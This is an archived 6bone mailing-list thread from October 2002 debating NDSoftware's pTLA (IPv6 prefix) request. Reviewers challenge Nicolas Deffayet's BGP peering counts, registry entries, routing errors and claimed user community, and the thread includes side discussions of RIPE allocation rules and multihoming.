This problem will be fixed when parcr1.fr.ndsoftwarenet.net will have
the new AS (i will do the migration of parcr1.fr.ndsoftwarenet.net after
the 23th October). 

> (7) "a. Fully maintained, up to date, 6Bone Registry entries for their
>     ipv6-site inet6num, mntner, and person objects, including each
>     tunnel that the Applicant has."
> 
> You've got parcr3.fr.ndsoftwarenet.net listed in your ipv6-site object but:

Removed of the whois the time that we update the DNS. 

parcr3.fr.ndsoftwarenet.net is the first pre-production router on our
network and don't have IPv4 connectivity. 
 
> (8) With regards to #7 above, I suggest that with your recent policy
> change regarding BGP peers, you remove the following line from your
> ipb6-site object:
> 
> remarks:      NDSoftware have an open peering policy.

We are open, why remove this ? 

It's not because we have delete 5-6 BGP sessions with private ASN for
new peer with pTLA and sTLA that we aren't open... 

> (9) What is your "potential user community" IE; What gap are you going to
> be filling in the service delivery arena that is not already served by
> other pTLAs?

NDSoftware operates an IPv6 network and provide a lot of IPv6 services
to many projects. 

We provide to: 

IPv6-FR (a non profit organisation for the developement of IPv6 in
France) 
tunnel broker:  200 users, each user have a /48. 


NexGentCollective (http://www.nextgencollective.net/)
tunnel broker:  150 users, each user have a /48. 

ATI (A tunisian ISP, http://www.ipv6net.tn/)

and a lot of others (see our whois), this services: IPv6 connectivity 
(STATIC or BGP with a IPv6 block), IPv6 newsfeeds/newsread,... 

We do many actions in IPv6 research, we created FNIX6 (French 
International Internet Exchange IPv6, http://www.fnix6.net/), we host
many mirrors available in IPv6, we created ftp://ftp.openipv6.com/ (a
FTP with a lot of IPv6 stuff). 

> (10) What purpose will having your OWN pTLA serve that your current 3
> /32's don't already serve?  Keep in mind that _wanting_ your own pTLA !=
> _NEEDING_ your own pTLA and _NEEDING_ to announce a pTLA into the DFZ
> because it's a requirement for you to have your own ASN is _not_
> sufficient justification for you to be issued a 

A lot of peers filter our /32 because it's not a pTLA. 
We want a pTLA for can announce without any problems our network, don't
break the IPv6 aggregation and be independant of a upstream (we don't
want be down because our upstream is down). 

> (11) "d. A fully maintained, and reliable, IPv6-accessible system
>       providing, at a mimimum, one or more web pages, describing the
>       Applicant's IPv6 services.  This server must be IPv6 pingable."
> 
> Looking at http://noc.ndsoftwarenet.com, information about what
> NDSOFTWARE actually *does* is strangely absent.  Your peering-policy link
> returns a 404 error. Your route-filtering link returns a 404 error. Your
> usenet-policy link returns a 404 error.  Register, Login and Help all
> point to your bgp-communities page, as do your "go" button and the
> advanced-search link.  Home, Products & Services,  Support, Download, Buy
> and Contact links at the top page simply link the whatever page you're
> currently viewing.  There is no information about what your
> "company?" actually does or offers to do even.

NDSoftware website is not ready for the moment, but the NOC website is
ready. 

We will fix this 404 errors. 

> (12) "b. Fully maintained, and reliable, BGP4+ peering and connectivity
>      between the Applicant's boundary router and the appropriate
>      connection point into the 6Bone. This router must be IPv6
>      pingable. This criteria is judged by members of the 6Bone
>      Operations Group at the time of the Applicant's pTLA request.
> 
> We have currently 101 BGP4+ sessions."
> 
> Looking at parcr1.fr.ndsoftwarenet.net, I count 87 neighbors, 15 of which
> are down, 3 of which have never established an adjacency, two of the 87
> peering sessions being yourself. (84 ?real? sessions on this router.)
> 
> Looking at parcr2.fr.ndsoftwarenet.net, I count 11 neighbors, 4 of which
> are down with two of the 11 peering sessions being yourself.  (9
> ?real? peering sessions.)
> 
> I don't know about in France but, in the US, 84 + 9 = 93 peering sessions,
> not 101 peering sessions.
> 
> Can you perhaps explain your math to us?

"We have currently 101 BGP4+ sessions."
         ^^^^^^^^^ 
We have delete many peering down since many weeks after our pTLA
request, for prepare the migration of parcr1.fr.ndsoftwarenet.net 

> (13) Of those 84 peering sessions, have you verified that they have
> appropriate entries in their ipv6-site objects for the tunnel/connection
> or that they have ipv6-site objects AT-ALL?  Before you answer this, take
> a look at this:

A lot don't want create an ipv6-site. 

> Part of properly maintaining _YOUR_ ipv6-site object is making sure that
> you don't reference an object that doesn't exist.  If someone is unable or
> unwilling to create & maintain an ipv6-site object, do you really feel
> that they are a good peering candidate?  I certainly don't.

They can be a good peering candidate !

A whois updated or not don't make the quality of a peering. 

> (13) Just for my own personal amusement... You have a VPI/VCI pair field
> in your list of public peering points that you participate in or plan to
> participate in on your website but, your interconnects are all listed as
> 100M FE.  Um, what kind of ethernet are you using that supports VPI/VCI or
> did you just think it would look "cool" to have that field?

VPI/VCI field is for a futur use. 


Why all this questions ? 
I don't have asked all this questions, when you have request your
pTLA.... 

Best Regards, 

Nicolas DEFFAYET


From cliff@piper.oisec.net Sun Oct 20 04:57:03 2002
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From: Cliff Albert <cliff@oisec.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU,
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On Sat, Oct 19, 2002 at 11:44:45PM +0200, Nicolas DEFFAYET wrote:

> All your question have a reply in the archive of this list or in my pTLA
> request.
> 
> I need a pTLA, i justify it.
> 
> Why IPNg.nl have a pTLA and a sTLA ?
> Please justify the both.

IPng.nl does NOT have a pTLA or sTLA. If you would check the
corresponding whois databases you would have noticed that they are owned
by Intouch NV and not IPng. IPng just has a delegation from this space
given to them by Intouch.

ipv6-site:    INTOUCH-NL
origin:       AS8954
descr:        Intouch NV - Amsterdam, The Netherlands
              Amsterdam Exchange - Kruislaan, Watergraafsmeer
country:      NL
prefix:       3FFE:8110::/28

-- 
Cliff Albert		| RIPE:	     CA3348-RIPE | http://oisec.net/
cliff@oisec.net		| 6BONE:     CA2-6BONE	 |

From jeroen@unfix.org Sun Oct 20 05:19:25 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gert Doering'" <gert@space.net>
Cc: "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Gert Doering [mailto:gert@space.net] wrote:

> On Sat, Oct 19, 2002 at 10:49:50PM +0200, Jeroen Massar wrote:
> > getting that space. Notez bien that even RIPE can't request 
> space from
> > thereselves as they are not a LIR. Odd rules in a odd world.
> 
> The rules are not that odd.  
> 
> The RIPE NCC network is not "special" in any way requiring 
> their own /32.
> 
> If we have rules that deny "normal companies" their /32 and urge them
> to go to their upstreams, this rule has to be applied to all (!) 
> end sites equally.  From a network perspective, the RIPE NCC is an
> *end site*.  They are not an ISP, they don't do *LIR* functions, so
> they don't qualify for an sTLA - and technicallywise, they 
> don't *need*
> one either.

That's what I meant to express. They do have political reasons though.
And as most people know politics are not nice. Also it's good
to see that RIPE doesn't bend the rules even because they deal
the space out.

Thanks for clearing me up.

Greets,
 Jeroen


From gert@Space.Net Sun Oct 20 05:25:31 2002
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
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   "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, 6bone@ISI.EDU
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Hi,

On Sun, Oct 20, 2002 at 02:19:19PM +0200, Jeroen Massar wrote:
> [ RIPE rules for IPv6 address space ]
> 
> That's what I meant to express. They do have political reasons though.
> And as most people know politics are not nice.

Partly political, but also partly technical - the multihoming issue
isn't really solved yet, and have every end site have their own /32
announced into the global table is not a scalable approach.

The political part is the "200 customer rule", which I personally did
not like very much (it came from ARIN and APNIC), but hey, for a serious
ISP that actually is connecting customers, it's not a major obstacle.

> Also it's good to see that RIPE doesn't bend the rules even because 
> they deal the space out.

Yes.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Sun Oct 20 06:24:48 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sun, Oct 20, 2002 at 01:52:17PM +0200, Nicolas DEFFAYET wrote:
> 
> A lot of peers filter our /32 because it's not a pTLA. 
> We want a pTLA for can announce without any problems our network, don't
> break the IPv6 aggregation and be independant of a upstream (we don't
> want be down because our upstream is down). 

The danger is that all companies will want this independence and for the
same reason demand a pTLA/SubTLA.  It's certainly true for our university,
which has a /48.  Given we offer IPv6 remote access, should we be allowed
a /32 to offer static /48 "site" IPv6 prefixes to any university member 
wanting connectivity?

Of course part of the problem is the lack of progress of the multi6 WG,
albeit a non-trivial problem to be working on :)   The "classic" IPv6
solution for our university is to take two /48's from different providers,
and for all clients to have two global addresses, but the client-side
support for handling the multiple addressing is yet to be resolved.

Tim

From itojun@itojun.org Sun Oct 20 06:43:00 2002
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Subject: [6bone] multiple address handling
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>Of course part of the problem is the lack of progress of the multi6 WG,
>albeit a non-trivial problem to be working on :)   The "classic" IPv6
>solution for our university is to take two /48's from different providers,
>and for all clients to have two global addresses, but the client-side
>support for handling the multiple addressing is yet to be resolved.

	curious: where do you see problems in multiple address handling?
	i don't really see any, except the lack of ability to switching
	address pair for TCP (maybe we should use SCTP?).

	i'm using /48 address blocks from 4 upstreams in my home, and seeing
	no problem at all.

itojun

From nicolas.deffayet@ndsoftware.net Sun Oct 20 06:43:05 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
Cc: 6bone Mail List <6bone@mailman.isi.edu>
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On Sun, 2002-10-20 at 00:24, Gregg C Levine wrote:

Hello Gregg,

> I have been lurking on this list, for a good number of years now.
> Sometimes even posting a comment, or a gripe. This is more along the
> lines of both. I have been monitoring the traffic discussing
> NDSOFTWARE's request. Both finding the original message to Bob Fink, and
> the list, and everything. Sorry Mr. Deffayet, I disagree. For one, you
> do need to spell out who will be using the service. Is it for your
> company? Yourself? What? Who, even? Unless you can spell out neatly the
> answers to my questions, I am inclined to agree with everyone else. I am
> also agreeing with the people I have disagreed with early on. I might
> also, add, even Master Yoda's methods of speaking isn't that confusing.

Who will be using the service:

- NDSoftware (my company)

- many projects (here a list of main projects):

* IPv6-FR
A non profit organisation for the developement of IPv6 in France
IPv6-FR run a tunnel broker and have currently 200 users, each user have
a /48
=> NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6 connectivity.

* NextGenCollective
IPv6 research
http://www.nextgencollective.net/
NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people all
over the world. 
ASpath-tree: http://www.nextgencollective.net/bgp4/ (AS65526 is my old
private ASN)
=> NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and a
tunnel IPv6 over IPv4 with BGP (full transit).

* IPng.org.uk
IPv6 tunnel broker
http://www.ipng.org.uk/
ASpath-tree: http://www.ipng.org.uk/bgp/bgp-page-complete.html (AS65526
is my old private ASN)
=> NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
over IPv4 with BGP (full transit).

* ILS
Italian Linux Society
ILS provide IPv6 connectivity to italian user groups and organizations
experimenting with IPv6.
ILS host the IPv6 IRC server calvino.freenode.net
=> NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit).

* ATI
A tunisian ISP
http://www.ipv6net.tn/
http://www.ipv6net.tn/ipv6-Tunisia.pdf
=> NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with BGP
(full transit). NDSoftware have help ATI for the IPv6 deployement in
tunisia. ATI plan later to request a pTLA.

* FABIONNE
A projet for do IPv6 Debian package
http://debian-ipv6.fabionne.net/
=> NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
(full transit) and host a mirror for this projet
(http://debian-ipv6.mirrors.ndsoftwarenet.com/).

ESMT
An university in Senegal
=> NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.


Best regards,

Nicolas DEFFAYET


From luv@nerim.net Sun Oct 20 06:44:55 2002
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References: <200210191954.g9JJsmgj023818@ludwigV.sources.org>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002 
Date: Sun, 20 Oct 2002 15:32:36 +0200
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> As a French LIR myself, I can say that I find annoying that cowards'
comments
> are forwarded to the 6bone list.

That's very nice to call coward peoples who wants to have their right to
stay anonymous preserved... I think Christian has done
The Right Think(tm) removing sender's name before forwarding the
comments. Next time you are doing your citizen's duty, voting at a
political election, remember you are cowardly hiding your choice by
staying anonymous.

By the way, I found the comments of that person to be very insightfull and
quite true after consideration of what has been said by that NDSoftware guy
in the internal newsgroups of its upstream provider (Nerim).

> Nicolas Deffayet is obnoxious enough with what he does publicly (such as
> pretending his toy is the "first IPv6 IXP in France"). No need to add
> anonymous accusations.

What accusations ? I read facts.

> > >time to deploy native IPv6, we are truely sad to see that a kid playing
> > >with some PCs running Zebra could annihilate all of those efforts.
>
> That b...s...t about Zebra (which we use in production) is one more thing
that
> should warn 6bone readers against that anonymous comment.

You obviously didn't get the idea. Where is it said PC running Zebra is bad
or unstable (except in Nicolas Deffayet's posts where he says that reaching
more than a hundred sessions, it starts to be unstable) ?

You could run MRTd, gated or even commercial softwares over commercial
platforms, nobody cares...

When I read this, I understand : "It is very simple nowadays to setup a
BGP router, and even more simple to do a lot of mess with it.". Didn't
you experienced it when your Zebra thingy has done weird advertisements
to Nerim (and possibily all of your peers) over the FreeIX ?

Ludo.


From nicolas.deffayet@ndsoftware.net Sun Oct 20 06:58:55 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Tim Chown <tjc@ecs.soton.ac.uk>
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On Sun, 2002-10-20 at 15:24, Tim Chown wrote:
> On Sun, Oct 20, 2002 at 01:52:17PM +0200, Nicolas DEFFAYET wrote:
> > 
> > A lot of peers filter our /32 because it's not a pTLA. 
> > We want a pTLA for can announce without any problems our network, don't
> > break the IPv6 aggregation and be independant of a upstream (we don't
> > want be down because our upstream is down). 
> 
> The danger is that all companies will want this independence and for the
> same reason demand a pTLA/SubTLA.  It's certainly true for our university,
> which has a /48.  Given we offer IPv6 remote access, should we be allowed
> a /32 to offer static /48 "site" IPv6 prefixes to any university member 
> wanting connectivity?

All ISP/company/project who provide IPs to another ISP/company/project
and have many upstream MUST have a pTLA/sTLA.

In http://www.6bone.net/6bone_pTLA_list.html, a lot of pTLA aren't used
or are used only for a /48 and/or have only one upstream.

An exemple: MOTOROLA-LABS, have only one upstream. Do you think that
they need a pTLA ? If their upstream is down, this pTLA is not anymore
announced. MOTOROLA-LABS don't provide IPs and a /48 is enough for their
activity...

NDSoftware provide IPs to another ISP/company/project and have many
upstream...

> Of course part of the problem is the lack of progress of the multi6 WG,
> albeit a non-trivial problem to be working on :)   The "classic" IPv6
> solution for our university is to take two /48's from different providers,
> and for all clients to have two global addresses, but the client-side
> support for handling the multiple addressing is yet to be resolved.

It's a lot of do-it-yourself.
It's not a good solution, because a lot of software need only an IP...

Best Regards,

Nicolas DEFFAYET


From arien+6bone@ams-ix.net Sun Oct 20 07:08:52 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
	2002
From: Arien Vijn <arien+6bone@ams-ix.net>
To: Jeroen Massar <jeroen@unfix.org>, "'Gert Doering'" <gert@space.net>
Cc: "'Stephane Bortzmeyer'" <bortzmeyer@gitoyen.net>, <6bone@ISI.EDU>
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On 20-10-2002 14:19PM, "Jeroen Massar" <jeroen@unfix.org> wrote:

> Gert Doering [mailto:gert@space.net] wrote:
> 
>> On Sat, Oct 19, 2002 at 10:49:50PM +0200, Jeroen Massar wrote:
>>> getting that space. Notez bien that even RIPE can't request
>> space from
>>> thereselves as they are not a LIR. Odd rules in a odd world.
>> 
>> The rules are not that odd.
>> 
>> The RIPE NCC network is not "special" in any way requiring
>> their own /32.
>> 
>> If we have rules that deny "normal companies" their /32 and urge them
>> to go to their upstreams, this rule has to be applied to all (!)
>> end sites equally.  From a network perspective, the RIPE NCC is an
>> *end site*.  They are not an ISP, they don't do *LIR* functions, so
>> they don't qualify for an sTLA - and technicallywise, they
>> don't *need*
>> one either.
> 
> That's what I meant to express. They do have political reasons though.
> And as most people know politics are not nice. Also it's good
> to see that RIPE doesn't bend the rules even because they deal
> the space out.
> 

In the APNIC region RIR/NIRs are "critical infrastructure" and therefore are
eligible for a /32. See:

http://www.ripe.net/ripe/meetings/archive/ripe-43/presentations/ripe43-plena
ry-apnic/sld024.html

APNIC explicitly excluded IXPs as critical infrastructure. That is
questionable. But a good argument for this exclusion is that it is pretty
easy to start an "Internet Exchange". Just put a switch in a rack and call
it an Internet Exchange and request "golden" address space.
 
Please note that I do not say that Nicolas is just setting up an "IXP" to
get address resources. I am curious why NDSoftware/FN6IX is not requesting
space under RIPE-256 though.

To solve the neutrality issues, AMS-IX decided to put serious efforts in a
proper multi homing solution. We think (hope) that this approach will be a
much more positive contribution to the Internet than arguing the
criticalness of an IXP.

Kind regards, Arien


-- 

Arien Vijn
Amsterdam Internet Exchange
http://www.ams-ix.net
 


From tvo@EnterZone.Net Sun Oct 20 07:24:54 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On 20 Oct 2002, Nicolas DEFFAYET wrote:

> On Sun, 2002-10-20 at 10:42, John Fraizer wrote: 
> 
> > (1) Who are the following and what are their qualifications to be
> > technical contacts?  The last thing I want to hear on the other end of the
> 
> There is a common phone contact for a best manegement. 
> 

OK.  So, _someone_ is going to answer that phone number when we call at
zero-dark:thirty with a peering issue, right?

> I'm NOT at school because i'm NOT a kid. 
> I work for NDSoftware all the day. 

OK.  I'm still wondering what NDSoftware does.  Don't get me wrong.  The
ASPath Tree is slick, the ftp site is handy for some I'm sure, providing
6bone connectivity is definately a service but, there has to be something
going on that actually generates income, otherwise, you're hemorrhaging
money on colocation and IP transit charges.  Generally, when someone forms
a company, as you state you have done, it is to generate income.  To do
that, you have to offer services that people will purchase.  You _can't_
sell 6bone access and thus-far, every "service" you claim to provide is
6bone-centric.

I'm simply looking at the overall health of the 6bone here.  If you're
issued a pTLA and start providing "services" to folks with that address
space and suddenly, your "company" goes tits-up because you're not able to
pay your colocation/transit fees (because your "company" isn't actually
SELLING anything to generate revenue) then not only have you embarrassed
yourself but, you will have inconvenienced who knows how many other 
people.

> 
> All tech contact in NDSoftware's whois have a root access on each
> routers. They understand v4/v6 routing, unix administration,... 
> 

Wow.  You're a trusting soul there.  SUDU is your friend, Dude.  You might
want to look at the man page for it.

> > (2) Do you have a network plan?  IE; How are your current /32's
> > dispersed?
> 
> Yes we have a network plan. Our network plan is not clear for this 3
> /32, but now i know my errors of IP management, and NDSoftware pTLA
> address plan will be clear. 

OK so, you _plan_ to have a network plan then.  While not a requirement
for being issued a pTLA of v6 space, most every RIR I've looked at will
require you to show proper utilization of current upstream assigned
address space, along with appropriate SWIP or rwhois entries for your
subsequent assignment of that address space to your downstreams prior to
issuing Provider Independent v4 address space to you.

I'm simply looking for you to demonstrate that you or one of your
employees can properly maintain appropriate records for address
allocation.  Just because the 6bone is experimental does not relieve you,
the administrator of a network, from the burdon of due diligence.  Suppose
one of your downstreams started a SPAM campaign to v6 connected
mailservers or started trying to hack into other v6 connected
systems?  How long does it take you to track down the appropriate contact
information for the source address?  Do you have appropriate records to
provide to law enforcement agencies in the event that you are subpoenaed
for this type of information?

> 
> We have 3 /32, but 1 /32 is enough. We have 3 /32 for have a backup if
> one of our upstream can't provide us anymore a BGP peering. 
> 

Ya, like if they were to say "your peering session is going to die in a
week because our routers are overloaded with BGP sessions.  We've decided
to drop all of our BGP peers who are using reserved ASNs." -- Something
like that?


> > (3) Do _you_ have a network or are you simply colocated someplace on
> > someone elses network?
> 
> The both currently because our network is not finish. 
> 

OK.  What does your network consist of?  Keep in mind that I went to your
website looking for this information.  You don't have it listed.  If I
could find it, I wouldn't be asking these questions.

> > If you're colocated, do you #1 have 24hr _physical_ access to the
> > equipment?  Can you be onsite within a reasonable amount of time in the
> > event that physical access to equipment is required to remedy a
> > problem?  If not, do you have a "remote hands" contract in place?
> 
> Yes, we have an 24x7 access. 
> 
> > (4) If you don't have your own network, how do you propose to provide
> > "production quality" 6bone backbone services?  
> 
> No need to have your network for provide a production quality service...

Tell that to the KPNQwest folks.

> > I submit that without your own portable v4 address space for an endpoint
> > of tunnels, you're at the mercy of your upstreams.  If they require you to
> > renumber, every one of your peers will have to reconfigure their tunnels.
> 
> Yes, i know. 
> 

So, when you went after your ASN, did you try to brow-beat some v4 space
out of RIPE as well?

> > (5) I find this strange.  Can you explain it?
> > 
> > Nice routing loop there.  Have you considered: (1) Not having a v6 default on your border
> > router. (2) Having a connection between your two border routers and running an IGP between them?
> 
> Ops, fixed. 
> 
> I have forgot to add "ifconfig lo add 3ffe:81f1:2:1::1/64" in the init
> scripts of parcr1.fr.ndsoftwarenet.net. 

Wow.  I can't imagine trying to explain that to one of my customers.  This
is all about attention to detail Nicolas.  So, you get your own pTLA and
people start actually listening to and propagating your announcements and
you "forget" a little thing like applying an access-list or route-map to
a peering session.  Guess what?  Your lack of attention to detail does
more than embarrass you.  It can cause service effecting outages for a
whole ton of OTHER people.

> 
> 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.023 ms 
> 1.068 ms  0.961 ms 
> 3  lo0-0-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:2:1::1)  189.781 ms 
> 227.238 ms  212.632 ms 

Wow!  Just how much distance is between those two routers?  I'm just
wondering because that's a longer RTT than from here to London.

Oh, something for you to ponder since the previous routing loop certainly 
looked like you had a default route set up on that router::

From RFC2772:

3.7 Default routes

   6Bone core pTLA routers MUST be default-free.

   pTLAs MAY advertise a default route to any downstream peer (non-pTLA
   site). Transit pNLAs MAY advertise a default route to any of their
   downstreams (other transit pNLA or leaf site).

> 
> > (6) It can't be a good sign for a "production quality" network when your
> > route-server can't maintain a BGP peering session with your own routers:
> 
> Yes, i know, it's because i use peer group. 
> This problem will be fixed when parcr1.fr.ndsoftwarenet.net will have
> the new AS (i will do the migration of parcr1.fr.ndsoftwarenet.net after
> the 23th October). 

Hrm...  Guess what.  You can override nearly ANY "peer group" setting with
a per-peer setting.

> 
> > (7) "a. Fully maintained, up to date, 6Bone Registry entries for their
> >     ipv6-site inet6num, mntner, and person objects, including each
> >     tunnel that the Applicant has."
> > 
> > You've got parcr3.fr.ndsoftwarenet.net listed in your ipv6-site object but:
> 
> Removed of the whois the time that we update the DNS. 
> 
> parcr3.fr.ndsoftwarenet.net is the first pre-production router on our
> network and don't have IPv4 connectivity. 

OK.  If you say so.  Just wondering.  How long does it take to update a
zone file and type "kill -HUP [pid of named]"?

>  
> > (8) With regards to #7 above, I suggest that with your recent policy
> > change regarding BGP peers, you remove the following line from your
> > ipb6-site object:
> > 
> > remarks:      NDSoftware have an open peering policy.
> 
> We are open, why remove this ? 
> 
> It's not because we have delete 5-6 BGP sessions with private ASN for
> new peer with pTLA and sTLA that we aren't open... 
> 

Well, if you're full, as in, you're having to remove current peers to
bring on NEW peers, I wouldn't consider you to be "open."


> > (9) What is your "potential user community" IE; What gap are you going to
> > be filling in the service delivery arena that is not already served by
> > other pTLAs?
> 
> NDSoftware operates an IPv6 network and provide a lot of IPv6 services
> to many projects. 
> 

Inquiring minds would like to see a network map for your network.  I'm
serious.  What geographic points does it connect?  What media?  Is it a
meshed network?  227ms from one NDSoftware router in France to another
NDSoftware router in France doesn't exactly scream "I've got a production
quality network!" if you know what I mean.

> We provide to: 
> 
> IPv6-FR (a non profit organisation for the developement of IPv6 in
> France) 
> tunnel broker:  200 users, each user have a /48. 
> 

Hrm...

role:         IPv6-FR NOC
address:      IPv6-FR
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502

role:         NDSoftware NOC
address:      NDSoftware
address:      57 rue du president Wilson
address:      92300 Levallois-Perret
address:      France
phone:        +33 671887502


I'm sorry Nicolas.  Providing address space to YOURSELF doesn't
count!  Sheesh! 


> 
> NexGentCollective (http://www.nextgencollective.net/)
> tunnel broker:  150 users, each user have a /48. 

ipv6-site:    NEXTGENCOLLECTIVE
origin:       AS65055
descr:        NextGenCollective IPv6 Research Organization
country:      US
prefix:       3FFE:8271:A020::/44
prefix:       3FFE:8271:A030::/44
prefix:       3FFE:8271:B000::/40
prefix:       3FFE:2C01:1000::/36
tunnel:       IPv6 in IPv4 wireless.cs.twsu.edu ->
parcr1.fr.ndsoftwarenet.net NDSOFTWARE BGP4+
contact:      AB12-6BONE
contact:      BP6-6BONE
remarks:      Report abuses at abuse@nextgencollective.net
url:          http://www.nextgencollective.net
mnt-by:       MNT-NEXTGENCOLLECTIVE
changed:      basit@nextgencollective.net 20020819
source:       6BONE

person:       Bryce PORTER
address:      Peoria, IL
phone:        +1 555-555-5555
e-mail:       x86@nextgencollective.net
nic-hdl:      BP6-6BONE
mnt-by:       MNT-NEXTGENCOLLECTIVE
changed:      x86@nextgencollective.net 20020405
source:       6BONE

person:       Abdul Basit
address:      3116 E.18th Street
address:      Wichita , KS 67214 USA
phone:        +1 316 978-3729
e-mail:       basit@nextgencollective.net
e-mail:       basit@basit.cc
nic-hdl:      AB12-6BONE
url:          http://basit.cc
notify:       basit@basit.cc
mnt-by:       MNT-NEXTGENCOLLECTIVE
changed:      basit@basit.cc 20020220
source:       6BONE



Don't you think that a tunnel-broker housed in Wichita, KS, USA would be
better served by a 6bone pTLA *IN* the USA?  Also, with your current
peering policy change, isn't this site going to get NIXED?  I note their
use of a Reserved ASN.


> 
> ATI (A tunisian ISP, http://www.ipv6net.tn/)
> 

$ traceroute6 3FFE:8271:A010::1
traceroute to 3FFE:8271:A010::1 (3ffe:8271:a010::1) from
3ffe:4010:ff09::1, 30 hops max, 16 byte packets
 1  enterzone-ndsoftware-gw.paris.ipv6.enterzone.net (3ffe:4010:ff09::2)  762.094 ms  797.236 ms  815.096 ms
 2  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  1286.27 ms 1567.95 ms  1651.54 ms
 3  3ffe:8270:0:1::64 (3ffe:8270:0:1::64)  1021.78 ms  1088.46 ms  1132.56 ms

I do believe that they would also be better served by someone
geographically closer to them.  Note: Our peering session with you is up
at YOUR request.  RTTs to you are over 6X longer than any other peer we
have. Also note: reverse for 3ffe:8270:0:1::64 is broken or non-existant.


> We do many actions in IPv6 research, we created FNIX6 (French 
> International Internet Exchange IPv6, http://www.fnix6.net/), we host


ipv6-site:    FNIX6
origin:       AS25358
descr:        French National Internet eXchange IPv6
country:      FR
contact:      NDS1-6BONE
url:          http://www.fnix6.net/
notify:       notify@ndsoftwarenet.com
mnt-by:       MNT-NDSOFTWARE
changed:      nicolas.deffayet@ndsoftware.net 20021018
source:       6BONE


Which is it?  French National Internet eXchange or the French
International Internet Exchange?

2002-10-08 NDSoftware launch FNIX6 - I get it.  You haven't decided.  It's
not even two weeks old!  I must say that you've got more information on
that website than you do on the NDSoftware site though.


> many mirrors available in IPv6, we created ftp://ftp.openipv6.com/ (a
> FTP with a lot of IPv6 stuff). 

ncftp ...patched/eggdrop/1.6.12 > ls
eggdrop1.6.12.ipv6.precomp.linux.tgz            info.txt

Now there's a serious service.  Robbie Pointer will be
proud.  (Sidenote:  I went to school with Robbie.  I hope he's changed
since then!)


> > (10) What purpose will having your OWN pTLA serve that your current 3
> > /32's don't already serve?  Keep in mind that _wanting_ your own pTLA !=
> > _NEEDING_ your own pTLA and _NEEDING_ to announce a pTLA into the DFZ
> > because it's a requirement for you to have your own ASN is _not_
> > sufficient justification for you to be issued a 
> 
> A lot of peers filter our /32 because it's not a pTLA. 
> We want a pTLA for can announce without any problems our network, don't
> break the IPv6 aggregation and be independant of a upstream (we don't
> want be down because our upstream is down). 
> 

Well, that's a valid wish and I can understand your point.  Didn't you say
earlier though that you had 3 /32's for redundancy already?


> > (11) "d. A fully maintained, and reliable, IPv6-accessible system
> >       providing, at a mimimum, one or more web pages, describing the
> >       Applicant's IPv6 services.  This server must be IPv6 pingable."
> > 
> > Looking at http://noc.ndsoftwarenet.com, information about what
> > NDSOFTWARE actually *does* is strangely absent.  Your peering-policy link
> > returns a 404 error. Your route-filtering link returns a 404 error. Your
> > usenet-policy link returns a 404 error.  Register, Login and Help all
> > point to your bgp-communities page, as do your "go" button and the
> > advanced-search link.  Home, Products & Services,  Support, Download, Buy
> > and Contact links at the top page simply link the whatever page you're
> > currently viewing.  There is no information about what your
> > "company?" actually does or offers to do even.
> 
> NDSoftware website is not ready for the moment, but the NOC website is
> ready. 
> 
> We will fix this 404 errors. 
> 

That *was* the NOC website I was talking about.  Again, I'm simply
pointing out attention to detail flaws here Nicolas.  I'll take 10 seconds
of attention to detail over 10 hours of the best intentions EVERY TIME.


> > I don't know about in France but, in the US, 84 + 9 = 93 peering sessions,
> > not 101 peering sessions.
> > 
> > Can you perhaps explain your math to us?
> 
> "We have currently 101 BGP4+ sessions."
>          ^^^^^^^^^ 
> We have delete many peering down since many weeks after our pTLA
> request, for prepare the migration of parcr1.fr.ndsoftwarenet.net 

So, that should have read "when I wrote this, we had 101 BGP4+ peering
sessions but, I'm getting ready to axe a bunch of them."

> 
> > (13) Of those 84 peering sessions, have you verified that they have
> > appropriate entries in their ipv6-site objects for the tunnel/connection
> > or that they have ipv6-site objects AT-ALL?  Before you answer this, take
> > a look at this:
> 
> A lot don't want create an ipv6-site. 
> 
> > Part of properly maintaining _YOUR_ ipv6-site object is making sure that
> > you don't reference an object that doesn't exist.  If someone is unable or
> > unwilling to create & maintain an ipv6-site object, do you really feel
